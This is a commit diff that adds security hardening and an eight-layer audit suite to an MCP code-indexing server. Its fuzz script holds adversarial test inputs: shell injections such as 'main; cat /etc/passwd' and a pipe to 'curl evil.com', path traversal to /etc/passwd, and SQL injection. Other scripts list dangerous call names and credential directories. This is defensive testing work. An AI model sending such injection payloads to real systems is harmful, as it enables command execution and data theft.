Add 8-layer security test suite + hardening

Code-level defenses:
- cbm_validate_shell_arg(): reject shell metacharacters before popen/system
- SQLite authorizer: block ATTACH/DETACH at engine level
- CORS localhost-only origin reflection (replaces wildcard *)
- Path containment: realpath() check in get_code_snippet
- process-kill restricted to server-spawned PIDs
- SHA256 checksum verification in update command

Security audit scripts (8 layers):
- L1: Static allow-list for dangerous calls + URLs
- L2: Binary string audit (URLs, payloads, credentials)
- L3: Network egress monitoring via strace (Linux)
- L4: Install output path + content validation
- L5: Smoke test hardening (clean shutdown, residual procs)
- L6: Graph UI audit (external domains, CORS, binding)
- L7: MCP robustness (23 adversarial JSON-RPC payloads)
- L8: Vendored integrity (checksums + dangerous call scan)

CI: parallel security-static job (no build needed), binary
layers in smoke jobs per-platform. Cleanup of test fixture
dirs in clean.sh + .gitignore.
This commit is contained in:
Martin Vogel
2026-03-20 18:19:15 +01:00
parent c66d88745d
commit cd1417427c
23 changed files with 1769 additions and 82 deletions
+48
View File
@@ -57,6 +57,24 @@ jobs:
- name: Lint
run: scripts/lint.sh CLANG_FORMAT=clang-format-20
# ── Step 1b: Security audit (source-only, runs parallel with lint+tests) ──
# No build needed — scans source files and vendored deps only.
# Binary-level security (L2/L3/L4/L7) runs in smoke jobs per-platform.
security-static:
if: ${{ !inputs.skip_lint }}
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: "Layer 1: Static allow-list audit"
run: scripts/security-audit.sh
- name: "Layer 6: UI security audit"
run: scripts/security-ui.sh
- name: "Layer 8: Vendored dependency integrity"
run: scripts/security-vendored.sh
# ── Step 2: Unit tests (ASan + UBSan) ───────────────────────
# macOS: use cc (Apple Clang) — GCC on macOS doesn't ship ASan runtime
# Linux: use system gcc — full ASan/UBSan support
@@ -166,6 +184,10 @@ jobs:
- name: Build UI binary
run: scripts/build.sh --with-ui CC=${{ matrix.cc }} CXX=${{ matrix.cxx }}
- name: Frontend integrity scan (post-build dist/)
if: matrix.goos == 'linux' && matrix.goarch == 'amd64'
run: scripts/security-ui.sh
- name: Archive UI binary
run: |
tar -czf codebase-memory-mcp-ui-${{ matrix.goos }}-${{ matrix.goarch }}.tar.gz \
@@ -264,6 +286,22 @@ jobs:
- name: Smoke test (${{ matrix.variant }}, ${{ matrix.goos }}-${{ matrix.goarch }})
run: scripts/smoke-test.sh ./codebase-memory-mcp
- name: Binary string audit (${{ matrix.goos }}-${{ matrix.goarch }})
if: matrix.variant == 'standard'
run: scripts/security-strings.sh ./codebase-memory-mcp
- name: Install output audit (${{ matrix.goos }}-${{ matrix.goarch }})
if: matrix.variant == 'standard'
run: scripts/security-install.sh ./codebase-memory-mcp
- name: Network egress test (${{ matrix.goos }}-${{ matrix.goarch }})
if: matrix.variant == 'standard'
run: scripts/security-network.sh ./codebase-memory-mcp
- name: MCP robustness test
if: matrix.variant == 'standard' && matrix.goos == 'linux' && matrix.goarch == 'amd64'
run: scripts/security-fuzz.sh ./codebase-memory-mcp
smoke-windows:
if: ${{ !inputs.skip_builds }}
needs: [build-windows]
@@ -297,3 +335,13 @@ jobs:
- name: Smoke test (${{ matrix.variant }}, windows-amd64)
shell: msys2 {0}
run: scripts/smoke-test.sh ./codebase-memory-mcp.exe
- name: Binary string audit (windows-amd64)
if: matrix.variant == 'standard'
shell: msys2 {0}
run: scripts/security-strings.sh ./codebase-memory-mcp.exe
- name: Install output audit (windows-amd64)
if: matrix.variant == 'standard'
shell: msys2 {0}
run: scripts/security-install.sh ./codebase-memory-mcp.exe
+48 -1
View File
@@ -57,6 +57,23 @@ jobs:
- name: Lint
run: scripts/lint.sh CLANG_FORMAT=clang-format-20
# ── Step 1b: Security audit (source-only, runs parallel with lint+tests) ──
# No build needed — scans source files and vendored deps only.
# Binary-level security (L2/L3/L4/L7) runs in smoke jobs per-platform.
security-static:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: "Layer 1: Static allow-list audit"
run: scripts/security-audit.sh
- name: "Layer 6: UI security audit"
run: scripts/security-ui.sh
- name: "Layer 8: Vendored dependency integrity"
run: scripts/security-vendored.sh
# ── Step 2: Unit tests (ASan + UBSan) ───────────────────────
# macOS: use cc (Apple Clang) — GCC on macOS doesn't ship ASan runtime
# Linux: use system gcc — full ASan/UBSan support
@@ -163,6 +180,10 @@ jobs:
- name: Build UI binary
run: scripts/build.sh --with-ui --version ${{ inputs.version }} CC=${{ matrix.cc }} CXX=${{ matrix.cxx }}
- name: Frontend integrity scan (post-build dist/)
if: matrix.goos == 'linux' && matrix.goarch == 'amd64'
run: scripts/security-ui.sh
- name: Archive UI binary
run: |
tar -czf codebase-memory-mcp-ui-${{ matrix.goos }}-${{ matrix.goarch }}.tar.gz \
@@ -258,6 +279,22 @@ jobs:
- name: Smoke test (${{ matrix.variant }}, ${{ matrix.goos }}-${{ matrix.goarch }})
run: scripts/smoke-test.sh ./codebase-memory-mcp
- name: Binary string audit (${{ matrix.goos }}-${{ matrix.goarch }})
if: matrix.variant == 'standard'
run: scripts/security-strings.sh ./codebase-memory-mcp
- name: Install output audit (${{ matrix.goos }}-${{ matrix.goarch }})
if: matrix.variant == 'standard'
run: scripts/security-install.sh ./codebase-memory-mcp
- name: Network egress test (${{ matrix.goos }}-${{ matrix.goarch }})
if: matrix.variant == 'standard'
run: scripts/security-network.sh ./codebase-memory-mcp
- name: MCP robustness test
if: matrix.variant == 'standard' && matrix.goos == 'linux' && matrix.goarch == 'amd64'
run: scripts/security-fuzz.sh ./codebase-memory-mcp
smoke-windows:
needs: [build-windows]
strategy:
@@ -290,9 +327,19 @@ jobs:
shell: msys2 {0}
run: scripts/smoke-test.sh ./codebase-memory-mcp.exe
- name: Binary string audit (windows-amd64)
if: matrix.variant == 'standard'
shell: msys2 {0}
run: scripts/security-strings.sh ./codebase-memory-mcp.exe
- name: Install output audit (windows-amd64)
if: matrix.variant == 'standard'
shell: msys2 {0}
run: scripts/security-install.sh ./codebase-memory-mcp.exe
# ── Step 5: Create GitHub release ───────────────────────────
release:
needs: [smoke-unix, smoke-windows]
needs: [smoke-unix, smoke-windows, security-static]
runs-on: ubuntu-latest
permissions:
contents: write
+4
View File
@@ -12,6 +12,10 @@ bin/
*.out
coverage.txt
# Test fixture temp dirs (created by C test suite in CWD instead of /tmp/)
cbm_*/
cli-*/
# IDE
.idea/
.vscode/
+16 -1
View File
@@ -310,7 +310,7 @@ PP_OBJ_TEST = $(BUILD_DIR)/preprocessor.o
# ── Targets ──────────────────────────────────────────────────────
.PHONY: test test-foundation test-tsan cbm cbm-with-ui frontend embed clean-c lint lint-tidy lint-cppcheck lint-format
.PHONY: test test-foundation test-tsan cbm cbm-with-ui frontend embed clean-c lint lint-tidy lint-cppcheck lint-format security
$(BUILD_DIR):
mkdir -p $(BUILD_DIR)
@@ -519,3 +519,18 @@ lint: lint-tidy lint-cppcheck lint-format
# CI linters (no clang-tidy — platform-dependent, enforced locally via pre-commit)
lint-ci: lint-cppcheck lint-format
@echo "=== CI linters passed ==="
# ── Security audit (6 layers) ────────────────────────────────────
# Run all security checks: static audit, binary strings, UI, install, network
# Requires: production binary already built (make cbm)
security: cbm
@echo "=== Running security audit suite ==="
scripts/security-audit.sh
scripts/security-strings.sh $(BUILD_DIR)/codebase-memory-mcp
scripts/security-ui.sh
scripts/security-install.sh $(BUILD_DIR)/codebase-memory-mcp
scripts/security-network.sh $(BUILD_DIR)/codebase-memory-mcp
scripts/security-fuzz.sh $(BUILD_DIR)/codebase-memory-mcp
scripts/security-vendored.sh
@echo "=== All security checks passed ==="
+6
View File
@@ -26,4 +26,10 @@ rm -rf "$ROOT/node_modules"
# Generated embedded assets (regenerated by embed-frontend.sh)
rm -f "$ROOT/src/ui/embedded_assets.c"
# Leftover test fixture dirs (C test suite sometimes creates these in CWD)
find "$ROOT" -maxdepth 1 -type d \( -name 'cbm_*' -o -name 'cli-*' \) -exec rm -rf {} + 2>/dev/null || true
# Leftover test fixture dirs in /tmp
find /tmp -maxdepth 1 -type d \( -name 'cbm_*' -o -name 'cli-*' \) -user "$(id -u)" -exec rm -rf {} + 2>/dev/null || true
echo "=== Clean complete ==="
+45
View File
@@ -0,0 +1,45 @@
# Security allow-list for dangerous function calls.
# Format: file:function:justification
# Lines starting with # are comments. Empty lines are ignored.
# Any call to a listed function in a .c file under src/ that is NOT on this
# list causes the security audit (scripts/security-audit.sh) to fail.
# ── Foundation: platform abstraction (defines cbm_popen wrapper) ───────────
src/foundation/compat_fs.c:popen:cbm_popen wrapper definition (POSIX)
src/foundation/compat_fs.c:cbm_popen:cbm_popen function definition
# ── CLI: update command (user-initiated, interactive) ──────────────────────
src/cli/cli.c:system:curl download of release binary (update cmd)
src/cli/cli.c:system:unzip extraction on Windows (update cmd)
src/cli/cli.c:system:version verification after update (update cmd)
src/cli/cli.c:cbm_popen:sha256 checksum verification (update cmd)
src/cli/cli.c:popen:sha256 checksum computation via shasum
# ── Watcher: git status polling (repo paths validated via cbm_validate_shell_arg) ──
src/watcher/watcher.c:system:git repo detection (is_git_repo)
src/watcher/watcher.c:cbm_popen:git HEAD hash (git_head)
src/watcher/watcher.c:cbm_popen:git working tree status (git_is_dirty)
src/watcher/watcher.c:cbm_popen:git file count (git_file_count)
src/watcher/watcher.c:popen:via cbm_popen wrapper calls
# ── MCP server: search and change detection ────────────────────────────────
src/mcp/mcp.c:cbm_popen:search_code via grep (pattern in temp file, path validated)
src/mcp/mcp.c:cbm_popen:detect_changes via git diff (args validated)
src/mcp/mcp.c:cbm_popen:git ls-files count for auto-index (session_root validated)
src/mcp/mcp.c:cbm_popen:update check to api.github.com (hardcoded URL)
src/mcp/mcp.c:popen:via cbm_popen wrapper calls
# ── Pipeline: git history parsing (fallback when libgit2 not available) ────
src/pipeline/pass_githistory.c:cbm_popen:git log for file history (path validated)
src/pipeline/pass_githistory.c:popen:via cbm_popen wrapper call
# ── UI: HTTP server process management ─────────────────────────────────────
src/ui/http_server.c:popen:ps process listing for metrics endpoint
src/ui/http_server.c:fork:spawn indexing subprocess
src/ui/http_server.c:execl:exec indexing binary in child process
# ── Allowed URLs ───────────────────────────────────────────────────────────
# Format: URL:justification
URL:https://api.github.com/repos/DeusData/codebase-memory-mcp/releases/latest:update check
URL:https://github.com/DeusData/codebase-memory-mcp/releases/latest/download/:binary download + checksums
URL:http://127.0.0.1:UI server binding (localhost only)
+197
View File
@@ -0,0 +1,197 @@
#!/usr/bin/env bash
set -euo pipefail
# Layer 1: Static security audit — scans C source for dangerous calls.
# Every occurrence must be on the checked-in allow-list.
#
# Usage: scripts/security-audit.sh
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
ALLOWLIST="$ROOT/scripts/security-allowlist.txt"
if [[ ! -f "$ALLOWLIST" ]]; then
echo "FAIL: allow-list not found: $ALLOWLIST"
exit 1
fi
# Use a flag file to communicate failures from subshells
FAIL_FLAG=$(mktemp)
echo "0" > "$FAIL_FLAG"
trap 'rm -f "$FAIL_FLAG"' EXIT
fail() {
echo "1" > "$FAIL_FLAG"
}
# ── 1. Dangerous function calls ─────────────────────────────────
echo "=== Layer 1: Static Security Audit ==="
echo ""
echo "--- Scanning for dangerous function calls ---"
# For each file:function pair on the allow-list, the file is allowed to contain
# that function. Any file:function NOT on the list causes failure.
FUNC_LIST="system popen cbm_popen execl fork"
while IFS= read -r file; do
relfile="${file#"$ROOT/"}"
for func in $FUNC_LIST; do
# Build precise grep pattern to avoid substring matches:
# 'popen(' must NOT match 'cbm_popen(' — use [^a-z] negative class
case "$func" in
cbm_popen) pattern="cbm_popen(" ;;
popen) pattern="[^a-z]popen(" ;;
system) pattern="[^a-z_]system(" ;;
fork) pattern="[^a-z_]fork(" ;;
*) pattern="[^a-z_]${func}(" ;;
esac
# Grep for pattern, excluding comments and #define lines
if grep -n "$pattern" "$file" 2>/dev/null | grep -v '^\s*//' | grep -v '^\s*\*' | grep -v '#define' > /dev/null 2>&1; then
if ! grep -q "^${relfile}:${func}:" "$ALLOWLIST" 2>/dev/null; then
echo "BLOCKED: ${relfile}: contains ${func}() — not on allow-list"
grep -n "$pattern" "$file" 2>/dev/null | grep -v '^\s*//' | grep -v '^\s*\*' | grep -v '#define' | head -3 | sed 's/^/ /'
fail
fi
fi
done
done < <(find "$ROOT/src" -name '*.c' -type f | sort)
# ── 1b. Raw network calls (must not exist) ──────────────────────
echo ""
echo "--- Scanning for raw network calls (must not exist) ---"
NETWORK_FUNCS='[^a-z_]connect\(|[^a-z_]socket\(|[^a-z_]sendto\('
if grep -rn -E "$NETWORK_FUNCS" "$ROOT/src/" --include='*.c' 2>/dev/null | grep -v '^\s*//' | grep -v '^\s*\*' | grep -v 'test'; then
echo "BLOCKED: Raw network calls found in src/."
fail
else
echo "OK: No raw network calls found."
fi
# ── 2. Hardcoded URLs in string literals ─────────────────────────
echo ""
echo "--- Scanning for hardcoded URLs ---"
# Extract allowed URL prefixes from the allow-list
# Format: URL:<url>:<justification>
ALLOWED_URLS=()
while IFS= read -r line; do
[[ "$line" =~ ^#.*$ ]] && continue
[[ -z "$line" ]] && continue
if [[ "$line" =~ ^URL: ]]; then
rest="${line#URL:}"
# Extract URL (scheme://host/path) — stop at first colon that follows a non-slash
if [[ "$rest" =~ ^(https?://[^[:space:]]+) ]]; then
# The URL part extends until the justification separator
# Use the fact that justifications follow the pattern ":word word"
url_part="${BASH_REMATCH[1]}"
# Remove trailing justification after last colon that precedes a space
url_part="${url_part%%:[A-Za-z]*}"
ALLOWED_URLS+=("$url_part")
fi
fi
done < "$ALLOWLIST"
URL_OK=true
# Non-functional URL patterns to skip (comments, placeholders, comparisons, patterns)
is_placeholder_url() {
local url="$1"
case "$url" in
# Placeholder/example URLs in comments and code
https://host/*|http://host/*) return 0 ;;
https://...*|http://...*) return 0 ;;
# Protocol prefix comparisons (strncmp, mg_match)
http://) return 0 ;;
https://) return 0 ;;
# mg_match glob patterns with wildcards
http://localhost:*) return 0 ;;
http://127.0.0.1:*) return 0 ;;
esac
return 1
}
while IFS= read -r file; do
relfile="${file#"$ROOT/"}"
# Find lines with URLs (excluding comments)
while IFS= read -r match; do
[[ -z "$match" ]] && continue
# Skip lines that are clearly comments (/* ... */ or // ...)
line_content="${match#*:}" # Remove line number prefix
# Skip if the URL appears only in a comment on this line
if echo "$line_content" | grep -qE '^\s*/[/*]'; then
continue
fi
# Extract URLs using grep -oE (POSIX-compatible)
while IFS= read -r url; do
[[ -z "$url" ]] && continue
# Skip non-functional placeholder URLs
if is_placeholder_url "$url"; then
continue
fi
allowed=false
for aurl in "${ALLOWED_URLS[@]+"${ALLOWED_URLS[@]}"}"; do
if [[ "$url" == "$aurl"* ]]; then
allowed=true
break
fi
done
if ! $allowed; then
echo "BLOCKED: ${relfile}: URL not on allow-list: $url"
fail
URL_OK=false
fi
done < <(echo "$match" | grep -oE 'https?://[A-Za-z0-9._/~:@!$&()*+,;=?#%-]+' || true)
done < <(grep -n 'https\?://' "$file" 2>/dev/null | grep -v '^\s*//' | grep -v '^\s*\*' || true)
done < <(find "$ROOT/src" -name '*.c' -type f | sort)
if $URL_OK; then
echo "OK: All URLs are on the allow-list."
fi
# ── 3. File writes outside expected paths ────────────────────────
echo ""
echo "--- Scanning for unexpected file writes in src/ ---"
FOPEN_FOUND=false
while IFS= read -r match; do
[[ -z "$match" ]] && continue
file=$(echo "$match" | cut -d: -f1)
relfile="${file#"$ROOT/"}"
case "$relfile" in
src/cli/cli.c|src/store/store.c|src/pipeline/*.c|src/foundation/log.c|src/ui/http_server.c|src/ui/config.c|src/mcp/mcp.c)
;; # Known safe
*)
echo "REVIEW: ${match}"
echo " -> Unexpected fopen(\"w\") in ${relfile}"
FOPEN_FOUND=true
;;
esac
done < <(grep -rn 'fopen.*"w' "$ROOT/src/" --include='*.c' 2>/dev/null | grep -v '/test' | grep -v '^\s*//' || true)
if ! $FOPEN_FOUND; then
echo "OK: All file writes are in expected locations."
fi
# ── Summary ──────────────────────────────────────────────────────
echo ""
RESULT=$(cat "$FAIL_FLAG")
if [[ "$RESULT" != "0" ]]; then
echo "=== SECURITY AUDIT FAILED ==="
echo "Fix the issues above or add entries to scripts/security-allowlist.txt with justifications."
exit 1
fi
echo "=== Security audit passed ==="
+130
View File
@@ -0,0 +1,130 @@
#!/usr/bin/env bash
set -euo pipefail
# Layer 7: MCP robustness test — sends adversarial JSON-RPC payloads via stdio.
#
# Verifies the MCP server handles malformed, oversized, and crafted inputs
# without crashing. Each payload is sent as a complete session (init + payload + EOF).
#
# Usage: scripts/security-fuzz.sh <binary-path>
BINARY="${1:?usage: security-fuzz.sh <binary-path>}"
if [[ ! -f "$BINARY" ]]; then
echo "FAIL: binary not found: $BINARY"
exit 1
fi
echo "=== Layer 7: MCP Robustness Test ==="
FAIL=0
PASS=0
TOTAL=0
# Temp directory for input files (avoids pipe/stdin issues with timeout)
FUZZ_TMPDIR=$(mktemp -d)
trap 'rm -rf "$FUZZ_TMPDIR"' EXIT
# Helper: send a payload to the MCP server and check it doesn't crash.
# Uses temp file + perl alarm for portable timeout (works on macOS + Linux).
test_payload() {
local name="$1"
local payload="$2"
TOTAL=$((TOTAL + 1))
# Write session input to a temp file (avoids pipe/stdin issues)
local tmpinput="$FUZZ_TMPDIR/input_${TOTAL}.jsonl"
printf '%s\n%s\n%s\n' \
'{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"fuzz","version":"1.0"}}}' \
'{"jsonrpc":"2.0","method":"notifications/initialized"}' \
"$payload" > "$tmpinput"
# Run with 10s timeout: GNU timeout → perl alarm fallback
local ec=0
if command -v timeout &>/dev/null; then
timeout 10 "$BINARY" < "$tmpinput" > /dev/null 2>&1 || ec=$?
else
perl -e 'alarm(10); exec @ARGV' -- "$BINARY" < "$tmpinput" > /dev/null 2>&1 || ec=$?
fi
# Acceptable exits:
# 0 = clean shutdown on EOF
# 141 = SIGPIPE (pipe closed while writing — normal for stdio MCP)
# 142 = SIGALRM (perl timeout — hung process, same as GNU timeout 124)
# 124 = GNU timeout
if [[ $ec -eq 0 || $ec -eq 141 ]]; then
PASS=$((PASS + 1))
elif [[ $ec -eq 124 || $ec -eq 142 ]]; then
echo "FAIL: $name — timed out (hung for 10s)"
FAIL=$((FAIL + 1))
else
echo "FAIL: $name — crashed with exit code $ec"
FAIL=$((FAIL + 1))
fi
}
echo ""
echo "--- Malformed JSON ---"
test_payload "empty line" ""
test_payload "garbage" "not json at all"
test_payload "truncated json" '{"jsonrpc":"2.0","id":2,"met'
test_payload "null byte in json" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"search_graph","arguments":{"name_pattern":"test\u0000evil"}}}'
test_payload "missing method" '{"jsonrpc":"2.0","id":2}'
test_payload "missing id" '{"jsonrpc":"2.0","method":"tools/call"}'
test_payload "wrong jsonrpc version" '{"jsonrpc":"1.0","id":2,"method":"tools/call","params":{}}'
test_payload "array instead of object" '[1,2,3]'
test_payload "deeply nested json" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"search_graph","arguments":{"name_pattern":{"a":{"b":{"c":{"d":{"e":{"f":"deep"}}}}}}}}}'
echo ""
echo "--- Oversized inputs ---"
# 1MB string argument
HUGE=$(python3 -c "print('A' * 1048576)" 2>/dev/null || python3.9 -c "print('A' * 1048576)" 2>/dev/null || echo "AAAA")
test_payload "1MB name_pattern" "{\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools/call\",\"params\":{\"name\":\"search_graph\",\"arguments\":{\"name_pattern\":\"$HUGE\"}}}"
# Very long tool name
test_payload "1000-char tool name" "{\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools/call\",\"params\":{\"name\":\"$(python3 -c "print('x' * 1000)" 2>/dev/null || echo 'xxxx')\",\"arguments\":{}}}"
echo ""
echo "--- Tool-specific adversarial inputs ---"
# search_graph with regex that could cause ReDoS
test_payload "ReDoS regex" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"search_graph","arguments":{"name_pattern":"(a+)+$"}}}'
# query_graph with SQL injection attempts
test_payload "SQL injection in query" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"query_graph","arguments":{"query":"MATCH (n) RETURN n; DROP TABLE nodes; --"}}}'
test_payload "ATTACH attempt via query" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"query_graph","arguments":{"query":"ATTACH DATABASE '"'"'/tmp/evil.db'"'"' AS evil"}}}'
# detect_changes with shell metacharacters in base_branch
test_payload "shell injection in base_branch" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"detect_changes","arguments":{"base_branch":"main'\''$(whoami)'\''","project":"nonexistent"}}}'
test_payload "shell injection semicolon" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"detect_changes","arguments":{"base_branch":"main; cat /etc/passwd","project":"nonexistent"}}}'
test_payload "shell injection pipe" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"detect_changes","arguments":{"base_branch":"main | curl evil.com","project":"nonexistent"}}}'
# get_code_snippet with path traversal
test_payload "path traversal in qualified_name" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"get_code_snippet","arguments":{"qualified_name":"../../../../etc/passwd"}}}'
# search_code with shell metacharacters in file_pattern
test_payload "shell injection in file_pattern" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"search_code","arguments":{"pattern":"test","file_pattern":"*.py'\'' ; cat /etc/passwd #"}}}'
# index_repository with non-existent path (should return error, not crash)
test_payload "index nonexistent path" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"index_repository","arguments":{"repo_path":"/nonexistent/path/abc123"}}}'
# Negative/zero values for numeric params
test_payload "negative limit" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"search_graph","arguments":{"name_pattern":"test","limit":-1}}}'
test_payload "zero max_depth" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"trace_call_path","arguments":{"function_name":"test","max_depth":0}}}'
test_payload "huge max_rows" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"query_graph","arguments":{"query":"MATCH (n) RETURN n","max_rows":999999999}}}'
echo ""
echo "--- Results ---"
echo " $PASS/$TOTAL passed"
if [[ $FAIL -gt 0 ]]; then
echo " $FAIL FAILED"
echo ""
echo "=== MCP ROBUSTNESS TEST FAILED ==="
exit 1
fi
echo ""
echo "=== MCP robustness test passed ==="
+169
View File
@@ -0,0 +1,169 @@
#!/usr/bin/env bash
set -euo pipefail
# Layer 4: Install output audit — verifies install --dry-run writes only to expected paths.
#
# Checks:
# 1. All output file paths are in the expected set
# 2. No writes to sensitive directories (~/.ssh, ~/.gnupg, ~/.aws, /etc, /usr)
# 3. Skill file content contains no dangerous patterns
#
# Usage: scripts/security-install.sh <binary-path>
BINARY="${1:?usage: security-install.sh <binary-path>}"
if [[ ! -f "$BINARY" ]]; then
echo "FAIL: binary not found: $BINARY"
exit 1
fi
echo "=== Layer 4: Install Output Audit ==="
TMPDIR=$(mktemp -d)
trap 'rm -rf "$TMPDIR"' EXIT
# Set HOME to tmpdir so install writes there instead of real home
export HOME="$TMPDIR/home"
mkdir -p "$HOME"
FAIL=0
# ── 1. Run install and capture written files ─────────────────────
echo "--- Running install -y ---"
# Run install (non-interactive with -y flag)
"$BINARY" install -y > "$TMPDIR/install_output.txt" 2>&1 || true
echo "Install output:"
cat "$TMPDIR/install_output.txt"
echo ""
# ── 2. Verify written paths are in expected set ──────────────────
echo "--- Verifying written file paths ---"
# Find all files created under HOME
find "$HOME" -type f > "$TMPDIR/created_files.txt" 2>/dev/null || true
# Expected path patterns (relative to HOME):
# .config/*/mcp.json (or .mcp.json variants)
# .claude/skills/*
# .claude/settings.json
# .continue/config.yaml
# .codeium/config.json
# .local/bin/codebase-memory-mcp
# Various agent config dirs
EXPECTED_PATTERNS=(
".claude/"
".cursor/"
".config/"
".continue/"
".codeium/"
".windsurf/"
".trae/"
".aider/"
".local/bin/"
"AGENTS.md"
"CONVENTIONS.md"
".mcp.json"
"mcp.json"
".zshrc"
".bashrc"
".profile"
)
while IFS= read -r filepath; do
relpath="${filepath#"$HOME/"}"
matched=false
for pattern in "${EXPECTED_PATTERNS[@]}"; do
if [[ "$relpath" == *"$pattern"* ]]; then
matched=true
break
fi
done
if ! $matched; then
echo "REVIEW: Unexpected file created: $relpath"
fi
done < "$TMPDIR/created_files.txt"
# ── 3. Check for writes to sensitive paths ───────────────────────
echo ""
echo "--- Checking for sensitive path writes ---"
SENSITIVE_DIRS=(".ssh" ".gnupg" ".aws" ".kube" ".config/gcloud")
for dir in "${SENSITIVE_DIRS[@]}"; do
if [[ -d "$HOME/$dir" ]]; then
echo "BLOCKED: Install created sensitive directory: ~/$dir"
FAIL=1
fi
done
# Also check install output for any references to sensitive paths
for dir in "${SENSITIVE_DIRS[@]}"; do
if grep -q "$dir" "$TMPDIR/install_output.txt" 2>/dev/null; then
echo "BLOCKED: Install output references sensitive path: $dir"
FAIL=1
fi
done
if [[ $FAIL -eq 0 ]]; then
echo "OK: No sensitive path writes detected."
fi
# ── 4. Audit skill file content ──────────────────────────────────
echo ""
echo "--- Auditing skill file content ---"
SKILLS_DIR="$HOME/.claude/skills"
if [[ -d "$SKILLS_DIR" ]]; then
SKILL_ISSUES=0
while IFS= read -r skill_file; do
basename=$(basename "$skill_file")
# Check for dangerous patterns in skill content
for pattern in 'system(' 'eval(' 'exec(' '__import__(' 'subprocess' 'os.popen'; do
if grep -q "$pattern" "$skill_file" 2>/dev/null; then
echo "BLOCKED: Skill '$basename' contains dangerous pattern: $pattern"
SKILL_ISSUES=1
FAIL=1
fi
done
# Check for unexpected URLs
if grep -oE 'https?://[^\s"'"'"']+' "$skill_file" 2>/dev/null | grep -v 'github.com/DeusData' | grep -v 'localhost' | grep -v '127.0.0.1' > /tmp/sec_skill_urls 2>/dev/null; then
while IFS= read -r url; do
echo "REVIEW: Skill '$basename' contains URL: $url"
done < /tmp/sec_skill_urls
rm -f /tmp/sec_skill_urls
fi
# Check for encoded strings (base64-like blocks > 50 chars)
if grep -E '[A-Za-z0-9+/]{50,}={0,2}' "$skill_file" > /dev/null 2>&1; then
echo "REVIEW: Skill '$basename' contains potential encoded content"
fi
done < <(find "$SKILLS_DIR" -type f -name '*.md')
if [[ $SKILL_ISSUES -eq 0 ]]; then
echo "OK: Skill files contain no dangerous patterns."
fi
else
echo "SKIP: No skills directory created."
fi
# ── Summary ──────────────────────────────────────────────────────
echo ""
if [[ $FAIL -ne 0 ]]; then
echo "=== INSTALL OUTPUT AUDIT FAILED ==="
exit 1
fi
echo "=== Install output audit passed ==="
+107
View File
@@ -0,0 +1,107 @@
#!/usr/bin/env bash
set -euo pipefail
# Layer 3: Network egress test — monitors outbound connections during MCP session.
#
# Runs a full MCP session (initialize → index → search → EOF) under strace
# and verifies only expected connections are made.
#
# Linux only (strace required). macOS/Windows: skip with success.
#
# Usage: scripts/security-network.sh <binary-path>
BINARY="${1:?usage: security-network.sh <binary-path>}"
if [[ ! -f "$BINARY" ]]; then
echo "FAIL: binary not found: $BINARY"
exit 1
fi
echo "=== Layer 3: Network Egress Test ==="
# Skip on non-Linux (no strace)
if [[ "$(uname)" != "Linux" ]]; then
echo "SKIP: strace not available on $(uname) — covered by binary string audit"
exit 0
fi
if ! command -v strace &>/dev/null; then
echo "SKIP: strace not installed"
exit 0
fi
TMPDIR=$(mktemp -d)
trap 'rm -rf "$TMPDIR"' EXIT
# Create a minimal test project
mkdir -p "$TMPDIR/project/src"
cat > "$TMPDIR/project/src/main.py" << 'EOF'
def main():
print("hello")
EOF
# MCP session input (jsonrpc over stdio)
cat > "$TMPDIR/input.jsonl" << JSONL
{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"test","version":"1.0"}}}
{"jsonrpc":"2.0","method":"notifications/initialized"}
{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"index_repository","arguments":{"repo_path":"$TMPDIR/project"}}}
{"jsonrpc":"2.0","id":3,"method":"tools/call","params":{"name":"search_graph","arguments":{"name_pattern":"main"}}}
JSONL
STRACE_LOG="$TMPDIR/strace.log"
echo "Running MCP session under strace..."
# Run binary with strace monitoring connect() syscalls
# -f: follow forks, -e trace=connect: only log connect() calls
timeout 30 strace -f -e trace=connect \
"$BINARY" < "$TMPDIR/input.jsonl" \
> "$TMPDIR/output.jsonl" 2> "$STRACE_LOG" || true
echo ""
echo "--- Connection log ---"
FAIL=0
# Parse strace output for connect() calls with AF_INET (IPv4 network)
# Format: connect(fd, {sa_family=AF_INET, sin_port=htons(443), sin_addr=inet_addr("x.x.x.x")}, ...)
if grep 'sa_family=AF_INET' "$STRACE_LOG" > "$TMPDIR/connections.log" 2>/dev/null; then
while IFS= read -r conn; do
# Extract destination IP and port
ip=$(echo "$conn" | grep -oP 'inet_addr\("\K[^"]+' || echo "unknown")
port=$(echo "$conn" | grep -oP 'htons\(\K[0-9]+' || echo "0")
# Allowed connections:
# - 127.0.0.1 (localhost, any port)
# - DNS (port 53, any IP)
# - api.github.com (140.82.x.x range, port 443) — update check
case "$ip" in
127.0.0.1|0.0.0.0)
echo " OK: localhost:$port"
;;
*)
if [[ "$port" == "53" ]]; then
echo " OK: DNS lookup to $ip"
elif [[ "$port" == "443" ]]; then
echo " REVIEW: HTTPS to $ip:$port (expected: api.github.com for update check)"
# This is expected — the binary checks for updates on startup
else
echo " BLOCKED: Unexpected connection to $ip:$port"
FAIL=1
fi
;;
esac
done < "$TMPDIR/connections.log"
else
echo " No outbound connections detected."
fi
echo ""
if [[ $FAIL -ne 0 ]]; then
